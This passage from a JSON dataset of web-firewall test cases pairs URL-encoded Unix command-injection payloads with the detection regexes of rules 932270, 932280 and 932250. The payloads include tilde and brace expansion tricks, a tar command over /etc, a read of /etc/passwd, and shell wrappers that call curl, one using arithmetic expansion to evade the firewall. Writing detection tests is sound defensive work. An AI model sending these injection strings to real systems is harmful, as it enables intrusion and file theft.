"part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[\\+\\-](?:$|[0-9]+)", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932270", "test_description": "Bash Tilde expansion - ~+" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932270-2=%7E%2D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[\\+\\-](?:$|[0-9]+)", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932270", "test_description": "Bash Tilde Expansion - ~-" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932270-3=%7E%2D1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[\\+\\-](?:$|[0-9]+)", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932270", "test_description": "Bash Tilde Expansion - ~-1" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932270-4=%7E%2B5" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[\\+\\-](?:$|[0-9]+)", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932270", "test_description": "Bash Tilde expansion - ~+5" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932270-5=%7E%2Bz" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[\\+\\-](?:$|[0-9]+)", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932270", "test_description": "Bash Tilde expansion - ~+z" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932270-6=%7E%2Bz" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[\\+\\-](?:$|[0-9]+)", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932270", "test_description": "Bash Tilde expansion - ~-z" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932270-7=%7Ez" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[\\+\\-](?:$|[0-9]+)", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932270", "test_description": "Bash Tilde expansion(Negative test) - ~z" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "932270-8=%7E%2B" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[\\+\\-](?:$|[0-9]+)", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932270", "test_description": "Bash Tilde expansion - ~+" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "932270-9=%7E%2D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[\\+\\-](?:$|[0-9]+)", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932270", "test_description": "Bash Tilde Expansion - ~-" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "932270-10=%7E%2D1" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[\\+\\-](?:$|[0-9]+)", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932270", "test_description": "Bash Tilde Expansion - ~-1" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "932270-13=%7E%2Bz" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[\\+\\-](?:$|[0-9]+)", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932270", "test_description": "Bash Tilde expansion - ~-z" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "932270-14=%7Ez" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[\\+\\-](?:$|[0-9]+)", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932270", "test_description": "Bash Tilde expansion - ~z" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932271-13=%7E0" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[\\+\\-](?:$|[0-9]+)", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932270", "test_description": "Bash Tilde Expansion - ~0" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "932271-14=%7E0" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[\\+\\-](?:$|[0-9]+)", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932270", "test_description": "Bash Tilde Expansion - ~0" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932280-1=%7b%6c%2c%2d%6c%68%7d%73" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\{[0-9A-Z_a-z]*,[,\\-0-9A-Z_a-z]*\\}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932280", "test_description": "Bash Brace expansion - {l,-lh}s" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932280-2=%63%7b%61%2c%6f%75%6e%7d%74" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\{[0-9A-Z_a-z]*,[,\\-0-9A-Z_a-z]*\\}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932280", "test_description": "Bash Brace expansion - c{a,oun}t" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932280-3=%7b%2c%69%70%2c%61%7d" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\{[0-9A-Z_a-z]*,[,\\-0-9A-Z_a-z]*\\}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932280", "test_description": "Bash Brace expansion - {,ip,a}" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932280-4=%7b%2c%69%66%63%6f%6e%66%69%67%7d" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\{[0-9A-Z_a-z]*,[,\\-0-9A-Z_a-z]*\\}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932280", "test_description": "Bash Brace expansion - {,ifconfig}" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932280-5=%7b%2c%69%66%63%6f%6e%66%69%67%2c%65%74%68%30%7d" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\{[0-9A-Z_a-z]*,[,\\-0-9A-Z_a-z]*\\}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932280", "test_description": "Bash Brace expansion - {,ifconfig,eth0}" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932280-6=%7Bid%2C%7D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\{[0-9A-Z_a-z]*,[,\\-0-9A-Z_a-z]*\\}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932280", "test_description": "Bash Brace expansion - {id,}" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "932250-2=tar -xzf /var/www/exfiltrate.tar.gz /etc" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-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\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932250", "test_description": "Negative test for excluded command `tar`" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "932250-2=dont match commands that are not at start;tar -xzf /var/www/exfiltrate.tar.gz /etc" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{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{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932250", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=tar is a dark brown or black bituminous usually odorous viscous liquid" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\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c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932250", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "x=c99%20-wrapper%20sh,-c,curl%20google.com%20." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]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*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932250", "test_description": "Positive test: c99 command" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "code=ksh%20-c%20\"curl%20google.\"COM" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)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\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932250", "test_description": "Positive test: Unix Command Injection - ksh test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%24((7))z%20-wrapper%20sh,-c,curl%20google.com%20." } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x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|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932250", "test_description": "Arithmetic expansion '$(())' WAF evasion (mid command)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=ls%20-l%20/etc/passwd" } ], "attack_context": { "method": "GET", "location": [ 